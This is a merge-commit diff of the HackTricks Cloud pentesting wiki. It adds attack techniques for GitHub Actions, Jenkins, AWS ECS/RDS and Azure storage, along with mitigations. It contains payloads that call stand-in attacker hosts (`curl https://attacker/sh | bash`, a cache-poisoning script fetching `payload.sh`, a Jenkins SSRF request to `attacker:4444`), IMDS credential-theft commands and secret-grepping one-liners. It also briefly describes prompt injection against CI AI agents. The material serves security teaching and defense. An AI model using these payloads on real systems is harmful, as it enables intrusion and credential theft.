Merge branch 'master' into update_Holiday_Hack_Challenge_2025__Act_1__-_Spare_Key_20260106_124916

This commit is contained in:
SirBroccoli
2026-01-18 15:56:29 +01:00
committed by GitHub
12 changed files with 365 additions and 13 deletions

View File

@@ -230,6 +230,20 @@ It might look like because the **executed workflow** is the one defined in the *
An this one will have **access to secrets**.
#### YAML-to-shell injection & metadata abuse
- All fields under `github.event.pull_request.*` (title, body, labels, head ref, etc.) are attacker-controlled when the PR originates from a fork. When those strings are injected inside `run:` lines, `env:` entries, or `with:` arguments, an attacker can break shell quoting and reach RCE even though the repository checkout stays on the trusted base branch.
- Recent compromises such as Nx S1ingularity and Ultralytics used payloads like `title: "release\"; curl https://attacker/sh | bash #"` that get expanded in Bash before the intended script runs, letting the attacker exfiltrate npm/PyPI tokens from the privileged runner.
```yaml
steps:
- name: announce preview
run: ./scripts/announce "${{ github.event.pull_request.title }}"
```
- Because the job inherits write-scoped `GITHUB_TOKEN`, artifact credentials, and registry API keys, a single interpolation bug is enough to leak long-lived secrets or push a backdoored release.
### `workflow_run`
The [**workflow_run**](https://docs.github.com/en/actions/using-workflows/events-that-trigger-workflows#workflow_run) trigger allows to run a workflow from a different one when it's `completed`, `requested` or `in_progress`.
@@ -255,6 +269,26 @@ TODO
TODO: Check if when executed from a pull_request the used/downloaded code if the one from the origin or from the forked PR
### `issue_comment`
The `issue_comment` event runs with repository-level credentials regardless of who wrote the comment. When a workflow verifies that the comment belongs to a pull request and then checks out `refs/pull/<id>/head`, it grants arbitrary runner execution to any PR author that can type the trigger phrase.
```yaml
on:
issue_comment:
types: [created]
jobs:
issue_comment:
if: github.event.issue.pull_request && contains(github.event.comment.body, '!canary')
steps:
- uses: actions/checkout@v3
with:
ref: refs/pull/${{ github.event.issue.number }}/head
```
This is the exact “pwn request” primitive that breached the Rspack org: the attacker opened a PR, commented `!canary`, the workflow ran the forks head commit with a write-capable token, and the job exfiltrated long-lived PATs that were later reused against sibling projects.
## Abusing Forked Execution
We have mentioned all the ways an external attacker could manage to make a github workflow to execute, now let's take a look about how this executions, if bad configured, could be abused:
@@ -426,6 +460,11 @@ If an account changes it's name another user could register an account with that
If other repositories where using **dependencies from this user repos**, an attacker will be able to hijack them Here you have a more complete explanation: [https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/](https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/)
### Mutable GitHub Actions tags (instant downstream compromise)
GitHub Actions still encourages consumers to reference `uses: owner/action@v1`. If an attacker gains the ability to move that tag—through automatic write access, phishing a maintainer, or a malicious control handoff—they can retarget the tag to a backdoored commit and every downstream workflow executes it on its next run. The reviewdog / tj-actions compromise followed exactly that playbook: contributors auto-granted write access retagged `v1`, stole PATs from a more popular action, and pivoted into additional orgs.
---
## Repo Pivoting
@@ -435,7 +474,20 @@ If other repositories where using **dependencies from this user repos**, an atta
### Cache Poisoning
A cache is maintained between **wokflow runs in the same branch**. Which means that if an attacker **compromise** a **package** that is then stored in the cache and **downloaded** and executed by a **more privileged** workflow he will be able to **compromise** also that workflow.
GitHub exposes a cross-workflow cache that is keyed only by the string you supply to `actions/cache`. Any job (including ones with `permissions: contents: read`) can call the cache API and overwrite that key with arbitrary files. In Ultralytics, an attacker abused a `pull_request_target` workflow, wrote a malicious tarball into the `pip-${HASH}` cache, and the release pipeline later restored that cache and executed the trojanized tooling, which leaked a PyPI publishing token.
**Key facts**
- Cache entries are shared across workflows and branches whenever the `key` or `restore-keys` match. GitHub does not scope them to trust levels.
- Saving to the cache is allowed even when the job supposedly has read-only repository permissions, so “safe” workflows can still poison high-trust caches.
- Official actions (`setup-node`, `setup-python`, dependency caches, etc.) frequently reuse deterministic keys, so identifying the correct key is trivial once the workflow file is public.
- Restores are just zstd tarball extractions with no integrity checks, so poisoned caches can overwrite scripts, `package.json`, or other files under the restore path.
**Mitigations**
- Use distinct cache key prefixes per trust boundary (e.g., `untrusted-` vs `release-`) and avoid falling back to broad `restore-keys` that allow cross-pollination.
- Disable caching in workflows that process attacker-controlled input, or add integrity checks (hash manifests, signatures) before executing restored artifacts.
- Treat restored cache contents as untrusted until revalidated; never execute binaries/scripts directly from the cache.
{{#ref}}
gh-actions-cache-poisoning.md
@@ -598,6 +650,24 @@ jobs:
Tip: for stealth during testing, encrypt before printing (openssl is preinstalled on GitHub-hosted runners).
### Systematic CI token exfiltration & hardening
Once an attackers code executes inside a runner, the next step is almost always to steal every long-lived credential in sight so they can publish malicious releases or pivot into sibling repos. Typical targets include:
- Environment variables (`NPM_TOKEN`, `PYPI_TOKEN`, `GITHUB_TOKEN`, PATs for other orgs, cloud provider keys) and files such as `~/.npmrc`, `.pypirc`, `.gem/credentials`, `~/.git-credentials`, `~/.netrc`, and cached ADCs.
- Package-manager lifecycle hooks (`postinstall`, `prepare`, etc.) that run automatically inside CI, which provide a stealthy channel to exfiltrate additional tokens once a malicious release lands.
- “Git cookies” (OAuth refresh tokens) stored by Gerrit, or even tokens that ship inside compiled binaries, as seen in the DogWifTool compromise.
With a single leaked credential the attacker can retag GitHub Actions, publish wormable npm packages (Shai-Hulud), or republish PyPI artifacts long after the original workflow was patched.
**Mitigations**
- Replace static registry tokens with Trusted Publishing / OIDC integrations so each workflow gets a short-lived issuer-bound credential. When that is not possible, front tokens with a Security Token Service (e.g., Chainguards OIDC → short-lived PAT bridge).
- Prefer GitHubs auto-generated `GITHUB_TOKEN` and repository permissions over personal PATs. If PATs are unavoidable, scope them to the minimal org/repo and rotate them frequently.
- Move Gerrit git cookies into `git-credential-oauth` or the OS keychain and avoid writing refresh tokens to disk on shared runners.
- Disable npm lifecycle hooks in CI (`npm config set ignore-scripts true`) so compromised dependencies cant immediately run exfiltration payloads.
- Scan release artifacts and container layers for embedded credentials before distribution, and fail builds if any high-value token materializes.
### AI Agent Prompt Injection & Secret Exfiltration in CI/CD
LLM-driven workflows such as Gemini CLI, Claude Code Actions, OpenAI Codex, or GitHub AI Inference increasingly appear inside Actions/GitLab pipelines. As shown in [PromptPwnd](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents), these agents often ingest untrusted repository metadata while holding privileged tokens and the ability to invoke `run_shell_command` or GitHub CLI helpers, so any field that attackers can edit (issues, PRs, commit messages, release notes, comments) becomes a control surface for the runner.
@@ -732,8 +802,8 @@ An organization in GitHub is very proactive in reporting accounts to GitHub. All
- [PromptPwnd: Prompt Injection Vulnerabilities in GitHub Actions Using AI Agents](https://www.aikido.dev/blog/promptpwnd-github-actions-ai-agents)
- [OpenGrep PromptPwnd detection rules](https://github.com/AikidoSec/opengrep-rules)
- [OpenGrep playground releases](https://github.com/opengrep/opengrep-playground/releases)
- [A Survey of 20242025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,4 +2,68 @@
{{#include ../../../banners/hacktricks-training.md}}
## Overview
The GitHub Actions cache is global to a repository. Any workflow that knows a cache `key` (or `restore-keys`) can populate that entry, even if the job only has `permissions: contents: read`. GitHub does not segregate caches by workflow, event type, or trust level, so an attacker who compromises a low-privilege job can poison a cache that a privileged release job will later restore. This is how the Ultralytics compromise pivoted from a `pull_request_target` workflow into the PyPI publishing pipeline.
## Attack primitives
- `actions/cache` exposes both restore and save operations (`actions/cache@v4`, `actions/cache/save@v4`, `actions/cache/restore@v4`). The save call is allowed for any job except truly untrusted `pull_request` workflows triggered from forks.
- Cache entries are identified solely by the `key`. Broad `restore-keys` make it easy to inject payloads because the attacker only needs to collide with a prefix.
- Cache keys and versions are client-specified values; the cache service does not validate that a key/version matches a trusted workflow or cache path.
- The cache server URL + runtime token are long-lived relative to the workflow (historically ~6 hours, now ~90 minutes) and are not user-revocable. As of late 2024 GitHub blocks cache writes after the originating job completes, so attackers must write while the job is still running or pre-poison future keys.
- The cached filesystem is restored verbatim. If the cache contains scripts or binaries that are executed later, the attacker controls that execution path.
- The cache file itself is not validated on restore; it is just a zstd-compressed archive, so a poisoned entry can overwrite scripts, `package.json`, or other files under the restore path.
## Example exploitation chain
_Author workflow (`pull_request_target`) poisoned the cache:_
```yaml
steps:
- run: |
mkdir -p toolchain/bin
printf '#!/bin/sh\ncurl https://attacker/payload.sh | sh\n' > toolchain/bin/build
chmod +x toolchain/bin/build
- uses: actions/cache/save@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
```
_Privileged workflow restored and executed the poisoned cache:_
```yaml
steps:
- uses: actions/cache/restore@v4
with:
path: toolchain
key: linux-build-${{ hashFiles('toolchain.lock') }}
- run: toolchain/bin/build release.tar.gz
```
The second job now runs attacker-controlled code while holding release credentials (PyPI tokens, PATs, cloud deploy keys, etc.).
## Poisoning mechanics
GitHub Actions cache entries are typically zstd-compressed tar archives. You can craft one locally and upload it to the cache:
```bash
tar --zstd -cf poisoned_cache.tzstd cache/contents/here
```
On a cache hit, the restore action will extract the archive as-is. If the cache path includes scripts or config files that are executed later (build tooling, `action.yml`, `package.json`, etc.), you can overwrite them to gain execution.
## Practical exploitation tips
- Target workflows triggered by `pull_request_target`, `issue_comment`, or bot commands that still save caches; GitHub lets them overwrite repository-wide keys even when the runner only has read access to the repo.
- Look for deterministic cache keys reused across trust boundaries (for example, `pip-${{ hashFiles('poetry.lock') }}`) or permissive `restore-keys`, then save your malicious tarball before the privileged workflow runs.
- Monitor logs for `Cache saved` entries or add your own cache-save step so the next release job restores the payload and executes the trojanized scripts or binaries.
## References
- [A Survey of 20242025 Open-Source Supply-Chain Compromises and Their Root Causes](https://words.filippo.io/compromise-survey/)
- [The Monsters in Your Build Cache: GitHub Actions Cache Poisoning](http://adnanthekhan.com/2024/05/06/the-monsters-in-your-build-cache-github-actions-cache-poisoning/)
- [ActionsCacheBlasting (deprecated, Cache V2) / Cacheract](https://github.com/AdnaneKhan/ActionsCacheBlasting)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -99,6 +99,24 @@ cd build_dumps
gitleaks detect --no-git -v
```
### FormValidation/TestConnection endpoints (CSRF to SSRF/credential theft)
Some plugins expose Jelly `validateButton` or `test connection` handlers under paths like `/descriptorByName/<Class>/testConnection`. When handlers **do not enforce POST or permission checks**, you can:
- Switch POST to GET and drop the Crumb to bypass CSRF checks.
- Trigger the handler as low-priv/anonymous if no `Jenkins.ADMINISTER` check exists.
- CSRF an admin and replace the host/URL parameter to exfiltrate credentials or trigger outbound calls.
- Use the response errors (e.g., `ConnectException`) as an SSRF/port-scan oracle.
Example GET (no Crumb) turning a validation call into SSRF/credential exfiltration:
```http
GET /descriptorByName/jenkins.plugins.openstack.compute.JCloudsCloud/testConnection?endPointUrl=http://attacker:4444/&credentialId=openstack HTTP/1.1
Host: jenkins.local:8080
```
If the plugin reuses stored creds, Jenkins will attempt to authenticate to `attacker:4444` and may leak identifiers or errors in the response. See: https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/
### **Stealing SSH Credentials**
If the compromised user has **enough privileges to create/modify a new Jenkins node** and SSH credentials are already stored to access other nodes, he could **steal those credentials** by creating/modifying a node and **setting a host that will record the credentials** without verifying the host key:
@@ -412,4 +430,3 @@ println(hudson.util.Secret.decrypt("{...}"))
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -81,6 +81,19 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
**That is why in order to exfiltrate the credentials an attacker needs to, for example, base64 them.**
### Secrets in plugin/job configs on disk
Do not assume secrets are only in `credentials.xml`. Many plugins persist secrets in their **own global XML** under `$JENKINS_HOME/*.xml` or in per-job `$JENKINS_HOME/jobs/<JOB>/config.xml`, sometimes even in plaintext (UI masking does not guarantee encrypted storage). If you gain filesystem read access, enumerate those XMLs and search for obvious secret tags.
```bash
# Global plugin configs
ls -l /var/lib/jenkins/*.xml
grep -R "password\\|token\\|SecretKey\\|credentialId" /var/lib/jenkins/*.xml
# Per-job configs
find /var/lib/jenkins/jobs -maxdepth 2 -name config.xml -print -exec grep -H "password\\|token\\|SecretKey" {} \\;
```
## References
- [https://www.jenkins.io/doc/book/security/managing-security/](https://www.jenkins.io/doc/book/security/managing-security/)
@@ -90,8 +103,8 @@ According to [**the docs**](https://www.jenkins.io/blog/2019/02/21/credentials-m
- [https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery](https://www.jenkins.io/doc/book/managing/security/#cross-site-request-forgery)
- [https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials](https://www.jenkins.io/doc/developer/security/secrets/#encryption-of-secrets-and-credentials)
- [https://www.jenkins.io/doc/book/managing/nodes/](https://www.jenkins.io/doc/book/managing/nodes/)
- [https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/](https://www.nccgroup.com/research-blog/story-of-a-hundred-vulnerable-jenkins-plugins/)
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -183,6 +183,48 @@ It's possible to run an EC2 instance an register it to be used to run ECS instan
For [**more information check this**](../../aws-privilege-escalation/aws-ec2-privesc/README.md#privesc-to-ecs).
### ECS-on-EC2 IMDS Abuse and ECS Agent Impersonation (ECScape)
On ECS with the EC2 launch type, the control plane assumes each task role and pushes the temporary credentials down to the ECS agent over the Agent Communication Service (ACS) WebSocket channel. The agent then serves those credentials to containers via the task metadata endpoint (169.254.170.2). The ECScape research shows that if a container can reach IMDS and steal the **instance profile**, it can impersonate the agent over ACS and receive **every task role credential** on that host, including **task execution role** credentials that are not exposed via the metadata endpoint.
#### Attack chain
1. **Steal the container instance role from IMDS.** IMDS access is required to obtain the host role used by the ECS agent.
```bash
TOKEN=$(curl -s -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600")
curl -s -H "X-aws-ec2-metadata-token: $TOKEN" \
http://169.254.169.254/latest/meta-data/iam/security-credentials/{InstanceProfileName}
```
2. **Discover the ACS poll endpoint and required identifiers.** Using the instance role credentials, call `ecs:DiscoverPollEndpoint` to obtain the ACS endpoint and gather identifiers such as the cluster ARN and container instance ARN. The cluster ARN is exposed via task metadata (169.254.170.2/v4/), while the container instance ARN can be obtained via the agent introspection API or (if allowed) `ecs:ListContainerInstances`.
3. **Impersonate the ECS agent over ACS.** Initiate a SigV4-signed WebSocket to the poll endpoint and include `sendCredentials=true`. ECS accepts the connection as a valid agent session and begins streaming `IamRoleCredentials` messages for **all** tasks on the instance. This includes task execution role credentials, which can unlock ECR pulls, Secrets Manager retrievals, or CloudWatch Logs access.
**Find the PoC in <https://github.com/naorhaziz/ecscape>**
#### IMDS reachability with IMDSv2 + hop limit 1
Setting IMDSv2 with `HttpTokens=required` and `HttpPutResponseHopLimit=1` only blocks tasks that live behind an extra hop (Docker bridge). Other networking modes stay within one hop of the Nitro controller and still receive responses:
| ECS network mode | IMDS reachable? | Reason |
| --- | --- | --- |
| `awsvpc` | ✅ | Each task gets its own ENI that is still one hop away from IMDS, so tokens and metadata responses arrive successfully. |
| `host` | ✅ | Tasks share the host namespace, so they see the same hop distance as the EC2 instance. |
| `bridge` | ❌ | Responses die on the Docker bridge because that extra hop exhausts the hop limit. |
Therefore, **never assume hop limit 1 protects awsvpc or host-mode workloads**—always test from inside your containers.
#### Detecting IMDS blocks per network mode
- **awsvpc tasks:** Security groups, NACLs, or routing tweaks cannot block the link-local 169.254.169.254 address because Nitro injects it on-host. Check `/etc/ecs/ecs.config` for `ECS_AWSVPC_BLOCK_IMDS=true`. If the flag is missing (default) you can curl IMDS directly from the task. If it is set, pivot into the host/agent namespace to flip it back or execute your tooling outside awsvpc.
- **bridge mode:** When metadata requests fail even though hop limit 1 is configured, defenders probably inserted a `DOCKER-USER` drop rule such as `--in-interface docker+ --destination 169.254.169.254/32 --jump DROP`. Listing `iptables -S DOCKER-USER` exposes it, and root access lets you delete or reorder the rule before querying IMDS.
- **host mode:** Inspect the agent configuration for `ECS_ENABLE_TASK_IAM_ROLE_NETWORK_HOST=false`. That setting removes task IAM roles entirely, so you must either re-enable it, move to awsvpc tasks, or steal credentials through another process on the host. When the value is `true` (default), every host-mode process—including compromised containers—can hit IMDS unless bespoke eBPF/cgroup filters target `169.254.169.254`; look for tc/eBPF programs or iptables rules referencing that address.
Latacora even released [Terraform validation code](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening) you can drop into a target account to enumerate which network modes still expose metadata and plan your next hop accordingly.
Once you understand which modes expose IMDS you can plan your post-exploitation path: target any ECS task, request the instance profile, impersonate the agent, and harvest every other task role for lateral movement or persistence inside the cluster.
### Remove VPC flow logs
```bash
@@ -618,9 +660,12 @@ if __name__ == "__main__":
## References
- <https://www.sweet.security/blog/ecscape-understanding-iam-privilege-boundaries-in-amazon-ecs>
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
- [Latacora ecs-on-ec2-gaps-in-imds-hardening Terraform repo](https://github.com/latacora/ecs-on-ec2-gaps-in-imds-hardening)
- [Pentest Partners How to transfer files in AWS using SSM](https://www.pentestpartners.com/security-blog/how-to-transfer-files-in-aws-using-ssm/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -20,7 +20,7 @@ https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/
{{#endref}}
> [!CAUTION]
> Note that if the EC2 instance is enforcing IMDSv2, [**according to the docs**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), the **response of the PUT request** will have a **hop limit of 1**, making impossible to access the EC2 metadata from a container inside the EC2 instance.
> IMDSv2 with a hop limit of 1 **does not** block awsvpc or host-networked tasks—only Docker bridge tasks sit far enough away for the responses to die. See [ECS-on-EC2 IMDS Abuse & ECS Agent Impersonation](../aws-ec2-ebs-ssm-and-vpc-post-exploitation/README.md#ecs-on-ec2-imds-abuse--ecs-agent-impersonation) for the full attack workflow and bypass notes. Recent [Latacora research](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/) shows that awsvpc and host tasks still fetch host credentials even when IMDSv2+h=1 is enforced.
### Privesc to node to steal other containers creds & secrets
@@ -139,4 +139,8 @@ aws ecs delete-service --cluster ht-ecs-ebs --service ht-ebs-svc --force
aws ecs deregister-task-definition ht-ebs-read
```
## References
- [Latacora - ECS on EC2: Covering Gaps in IMDS Hardening](https://www.latacora.com/blog/2025/10/02/ecs-on-ec2-covering-gaps-in-imds-hardening/)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -83,6 +83,10 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
> [!NOTE]
> You can also use **aws-vault** to obtain an **browser console session**
### From Web Console to IAM Creds
The browser extension **<https://github.com/AI-redteam/clier>** is capable of intercepting from the network IAM credentials before they are protected in the memory of the browser.
### **Bypass User-Agent restrictions from Python**
If there is a **restriction to perform certain actions based on the user agent** used (like restricting the use of python boto3 library based on the user agent) it's possible to use the previous technique to **connect to the web console via a browser**, or you could directly **modify the boto3 user-agent** by doing:

View File

@@ -166,6 +166,27 @@ aws rds add-role-to-db-instance --db-instance-identifier target-instance --role-
**Potential Impact**: Access to sensitive data or unauthorized modifications to the data in the RDS instance.
### `rds:CreateBlueGreenDeployment`, `rds:AddRoleToDBCluster`, `iam:PassRole`, `rds:SwitchoverBlueGreenDeployment`
An attacker with these permissions can clone a production database (Blue), attach a high-privilege IAM role to the clone (Green), and then use switchover to replace the production environment. This allows the attacker to elevate the database's privileges and gain unauthorized access to other AWS resources.
```bash
# Create a Green deployment (clone) of the production cluster
aws rds create-blue-green-deployment \
--blue-green-deployment-name <name> \
--source <production-db-cluster-arn>
# Attach a high-privilege IAM role to the Green cluster
aws rds add-role-to-db-cluster \
--db-cluster-identifier <green-cluster-id> \
--role-arn <high-privilege-iam-role-arn>
# Switch the Green environment to Production
aws rds switchover-blue-green-deployment \
--blue-green-deployment-identifier <deployment-id>
```
**Potential Impact**: Full takeover of the production database environment. After the switchover, the database operates with elevated privileges, allowing unauthorized access to other AWS services (e.g., S3, Lambda, Secrets Manager) from within the database.
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -144,12 +144,19 @@ az rest --method put \
### Microsoft.Web/staticSites/listSecrets/action
This permission allows to get the **API key deployment token** for the static app:
This permission allows to get the **API key deployment token** for the static app.
Using az rest:
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
Using AzCLI:
```bash
az staticwebapp secrets list --name <appname> --resource-group <RG>
```
Then, in order to **update an app using the token** you could run the following command. Note that this command was extracted checking **how to Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) works**, as it's the one Azure set by default ot use. So the image and paarements could change in the future.

View File

@@ -82,6 +82,30 @@ az storage blob list --container-name '$web' --account-name <acc-name> --auth-mo
az storage blob download -c '$web' --name iac/terraform.tfvars --file /dev/stdout --account-name <acc-name> --auth-mode login
```
### Auditing anonymous blob exposure
- **Locate storage accounts** that can expose data: `az storage account list | jq -r '.[] | select(.properties.allowBlobPublicAccess==true) | .name'`. If `allowBlobPublicAccess` is `false` you cannot turn containers public.
- **Inspect risky accounts** to confirm the flag and other weak settings: `az storage account show --name <acc> --query '{allow:properties.allowBlobPublicAccess, minTls:properties.minimumTlsVersion}'`.
- **Enumerate container-level exposure** where the flag is enabled:
```bash
az storage container list --account-name <acc> \
--query '[].{name:name, access:properties.publicAccess}'
```
- `"Blob"`: anonymous reads allowed **only when blob name is known** (no listing).
- `"Container"`: anonymous **list + read** of every blob.
- `null`: private; authentication required.
- **Prove access** without credentials:
- If `publicAccess` is `Container`, anonymous listing works: `curl "https://<acc>.blob.core.windows.net/<container>?restype=container&comp=list"`.
- For both `Blob` and `Container`, anonymous blob download works when the name is known:
```bash
az storage blob download -c <container> -n <blob> --account-name <acc> --file /dev/stdout
# or via raw HTTP
curl "https://<acc>.blob.core.windows.net/<container>/<blob>"
```
### Connect to Storage
If you find any **storage** you can connect to you could use the tool [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) to do so.
@@ -239,6 +263,9 @@ Azure Blob Storage now supports the SSH File Transfer Protocol (SFTP), enabling
{{#tabs }}
{{#tab name="az cli" }}
<details>
<summary>az cli enumeration</summary>
```bash
# Get storage accounts
az storage account list #Get the account name from here
@@ -356,11 +383,16 @@ az storage account local-user list \
--resource-group <resource-group-name>
```
</details>
{{#endtab }}
{{#tab name="Az PowerShell" }}
```bash
<details>
<summary>Az PowerShell enumeration</summary>
```powershell
# Get storage accounts
Get-AzStorageAccount | fl
# Get rules to access the storage account
@@ -418,6 +450,8 @@ New-AzStorageBlobSASToken `
-ExpiryTime (Get-Date "2024-12-31T23:59:00Z")
```
</details>
{{#endtab }}
{{#endtabs }}
@@ -451,6 +485,10 @@ az-file-shares.md
- [https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview](https://learn.microsoft.com/en-us/azure/storage/common/storage-sas-overview)
- [https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support](https://learn.microsoft.com/en-us/azure/storage/blobs/secure-file-transfer-protocol-support)
- [Holiday Hack Challenge 2025 Spare Key (Azure static website SAS leak)](https://0xdf.gitlab.io/holidayhack2025/act1/spare-key)
- [Holiday Hack Challenge 2025: Blob Storage (Storage Secrets)](https://0xdf.gitlab.io/holidayhack2025/act1/blob-storage)
- [https://learn.microsoft.com/en-us/cli/azure/storage/account](https://learn.microsoft.com/en-us/cli/azure/storage/account)
- [https://learn.microsoft.com/en-us/cli/azure/storage/container](https://learn.microsoft.com/en-us/cli/azure/storage/container)
- [https://learn.microsoft.com/en-us/cli/azure/storage/blob](https://learn.microsoft.com/en-us/cli/azure/storage/blob)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -132,12 +132,15 @@
const TOOLTIP_TEXT =
"💡 Highlight any text on the page,\nthen click to ask HackTricks AI about it";
const API_BASE = "https://www.hacktricks.ai/api/assistants/threads";
const API_BASE = "https://ai.hacktricks.wiki/api/assistants/threads";
const AUTH_STATUS_URL = "https://ai.hacktricks.wiki/api/auth/status";
const LOGIN_URL = "https://tools.hacktricks.wiki/";
const BRAND_RED = "#b31328";
/* ------------------------------ State ------------------------------ */
let threadId = null;
let isRunning = false;
let isAuthenticated = false;
/* ---------- helpers ---------- */
const $ = (sel, ctx = document) => ctx.querySelector(sel);
@@ -189,7 +192,6 @@
console.log(`${LOG} Injecting widget… v1.16`);
await ensureThreadId();
injectStyles();
const btn = createFloatingButton();
@@ -201,6 +203,11 @@
const resetBtn = $("#ht-ai-reset");
const closeBtn = $("#ht-ai-close");
await refreshAuthState(btn);
if (isAuthenticated) {
await ensureThreadId();
}
/* ------------------- Selection snapshot ------------------- */
let savedSelection = "";
btn.addEventListener("pointerdown", () => {
@@ -235,7 +242,12 @@
};
/* ------------------- Panel open / close ------------------- */
btn.addEventListener("click", () => {
btn.addEventListener("click", async () => {
const ok = await refreshAuthState(btn);
if (!ok) {
showLoginPopup();
return;
}
if (!savedSelection) {
alert("Please highlight some text first.");
return;
@@ -350,8 +362,9 @@
/* =================================================================== */
function injectStyles() {
const css = `
#ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);min-width:60px;height:60px;border-radius:30px;background:linear-gradient(45deg, #b31328, #d42d3f, #2d5db4, #3470e4);background-size:300% 300%;animation:gradientShift 8s ease infinite;color:#fff;font-size:18px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s;padding:0 20px}
let css = `
#ht-ai-btn{position:fixed;bottom:20px;left:50%;transform:translateX(-50%);min-width:60px;height:60px;border-radius:30px;background:linear-gradient(45deg, #b31328, #d42d3f, #2d5db4, #3470e4);background-size:300% 300%;animation:gradientShift 8s ease infinite;color:#fff;font-size:18px;display:flex;align-items:center;justify-content:center;cursor:pointer;z-index:99999;box-shadow:0 2px 8px rgba(0,0,0,.4);transition:opacity .2s, filter .2s; padding:0 20px}
#ht-ai-btn.ht-ai-locked{filter:grayscale(.2);opacity:.85}
#ht-ai-btn span{margin-left:8px;font-weight:bold}
@keyframes gradientShift{0%{background-position:0% 50%}50%{background-position:100% 50%}100%{background-position:0% 50%}}
#ht-ai-btn:hover{opacity:.85}
@@ -388,6 +401,16 @@
#ht-ai-resizer:hover{background:rgba(255,255,255,.15);border-right:1px solid rgba(255,255,255,.3)}
#ht-ai-resizer:active{background:rgba(255,255,255,.25)}
#ht-ai-resizer::before{content:'';position:absolute;left:50%;top:50%;transform:translate(-50%,-50%);width:2px;height:20px;background:rgba(255,255,255,.4);border-radius:1px}`;
css += `
#ht-ai-login-overlay{position:fixed;inset:0;display:flex;align-items:center;justify-content:center;background:rgba(0,0,0,.6);backdrop-filter:blur(6px);z-index:100200}
#ht-ai-login-card{max-width:420px;width:calc(100% - 32px);padding:20px;border-radius:14px;background:#111;border:1px solid rgba(255,255,255,.08);box-shadow:0 12px 28px rgba(0,0,0,.4);text-align:center;color:#fff;font-family:system-ui,-apple-system,Segoe UI,Roboto,"Helvetica Neue",Arial,sans-serif}
.ht-ai-login-title{font-size:1.1rem;font-weight:700;margin-bottom:8px}
.ht-ai-login-text{font-size:.95rem;color:#cfcfcf;margin-bottom:12px}
.ht-ai-login-link{display:inline-block;margin-bottom:16px;color:#ff6b5b;text-decoration:none;word-break:break-all}
.ht-ai-login-link:hover{text-decoration:underline}
.ht-ai-login-close{background:#b31328;color:#fff;border:none;border-radius:8px;padding:8px 14px;cursor:pointer}
.ht-ai-login-close:hover{opacity:.9}
`;
const s = document.createElement("style");
s.id = "ht-ai-style";
s.textContent = css;
@@ -416,6 +439,48 @@
btn.addEventListener("mouseleave", () => t.classList.remove("show"));
}
async function checkAuthStatus() {
try {
const res = await fetch(AUTH_STATUS_URL, { method: "GET", credentials: "include" });
isAuthenticated = res.ok;
return isAuthenticated;
} catch (e) {
isAuthenticated = false;
return false;
}
}
function setAuthButtonState(btn, ok) {
btn.classList.toggle("ht-ai-locked", !ok);
}
async function refreshAuthState(btn) {
const ok = await checkAuthStatus();
setAuthButtonState(btn, ok);
return ok;
}
function showLoginPopup() {
if (document.getElementById("ht-ai-login-overlay")) return;
const overlay = document.createElement("div");
overlay.id = "ht-ai-login-overlay";
overlay.innerHTML = `
<div id="ht-ai-login-card">
<div class="ht-ai-login-title">Sign in required</div>
<div class="ht-ai-login-text">
To use HackTricks AI, please log in or create a free account on HT Tools and refresh this page.
</div>
<a class="ht-ai-login-link" href="${LOGIN_URL}" target="_blank" rel="noopener noreferrer">${LOGIN_URL}</a>
<button class="ht-ai-login-close" type="button">Close</button>
</div>
`;
overlay.addEventListener("click", (e) => {
if (e.target === overlay) overlay.remove();
});
overlay.querySelector(".ht-ai-login-close").addEventListener("click", () => overlay.remove());
document.body.appendChild(overlay);
}
/* =================================================================== */
function createSidebar() {
const saved = parseInt(localStorage.getItem("htAiWidth") || DEF_W, 10);

View File

@@ -154,6 +154,9 @@
<a class="menu-bar-link" href="https://www.linkedin.com/company/hacktricks" target="_blank">
Linkedin
</a>
<a class="menu-bar-link" href="https://tools.hacktricks.wiki/" target="_blank">
HT Tools
</a>
<a class="menu-bar-link" href="https://github.com/sponsors/carlospolop" target="_blank">
Sponsor
</a>
@@ -165,6 +168,7 @@
<a href="https://training.hacktricks.xyz" target="_blank" role="menuitem" class="menu-bar-link">Hacktricks Training</a>
<a href="https://twitter.com/hacktricks_live" target="_blank" role="menuitem" class="menu-bar-link">Twitter</a>
